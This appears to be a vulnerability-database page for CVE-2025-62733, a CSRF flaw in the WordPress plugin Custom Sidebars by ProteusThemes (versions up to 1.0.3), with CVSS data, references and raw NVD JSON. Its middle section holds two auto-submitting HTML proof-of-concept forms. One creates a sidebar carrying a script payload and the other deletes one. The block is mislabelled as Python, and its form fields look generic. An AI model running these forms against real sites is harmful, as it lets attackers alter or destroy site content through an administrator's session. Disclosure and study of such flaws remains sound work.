CVE-2025-62733

Description

Cross-Site Request Forgery (CSRF) vulnerability in ProteusThemes Custom Sidebars by ProteusThemes custom-sidebars-by-proteusthemes allows Cross Site Request Forgery.This issue affects Custom Sidebars by ProteusThemes: from n/a through <= 1.0.3.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Custom Sidebars by ProteusThemes <= 1.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-62733 - Create Malicious Sidebar -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC</title>
</head>
<body>
    <h1>Custom Sidebars CSRF Vulnerability PoC</h1>
    <p>This PoC demonstrates the CSRF vulnerability in Custom Sidebars plugin <= 1.0.3</p>
    
    <form action="http://target-site/wp-admin/admin.php?page=custom-sidebars" method="POST" id="csrfForm">
        <input type="hidden" name="action" value="create">
        <input type="hidden" name="sidebar_name" value="Malicious Sidebar">
        <input type="hidden" name="sidebar_description" value="<script>alert('CSRF Attack')</script>">
        <input type="hidden" name="sidebar_id" value="malicious-sidebar">
    </form>

    <script>
        // Auto-submit form when page loads
        document.getElementById('csrfForm').submit();
    </script>
    
    <!-- Alternative: Link-based trigger -->
    <!-- <a href="javascript:document.getElementById('csrfForm').submit()">Click me</a> -->
</body>
</html>

<!-- CSRF PoC for CVE-2025-62733 - Delete Sidebar -->
<!DOCTYPE html>
<html>
<body>
    <form action="http://target-site/wp-admin/admin.php?page=custom-sidebars" method="POST">
        <input type="hidden" name="action" value="delete">
        <input type="hidden" name="sidebar_id" value="legitimate-sidebar-id">
    </form>
    <script>document.forms[0].submit();</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62733
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62733
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62733/
[4] VulDB https://vuldb.com/cve/CVE-2025-62733
[5] https://patchstack.com/database/Wordpress/Plugin/custom-sidebars-by-proteusthemes/vulnerability/wordpress-custom-sidebars-by-proteusthemes-plugin-1-0-3-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62733", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:01.957", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in ProteusThemes Custom Sidebars by ProteusThemes custom-sidebars-by-proteusthemes allows Cross Site Request Forgery.This issue affects Custom Sidebars by ProteusThemes: from n/a through <= 1.0.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/custom-sidebars-by-proteusthemes/vulnerability/wordpress-custom-sidebars-by-proteusthemes-plugin-1-0-3-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}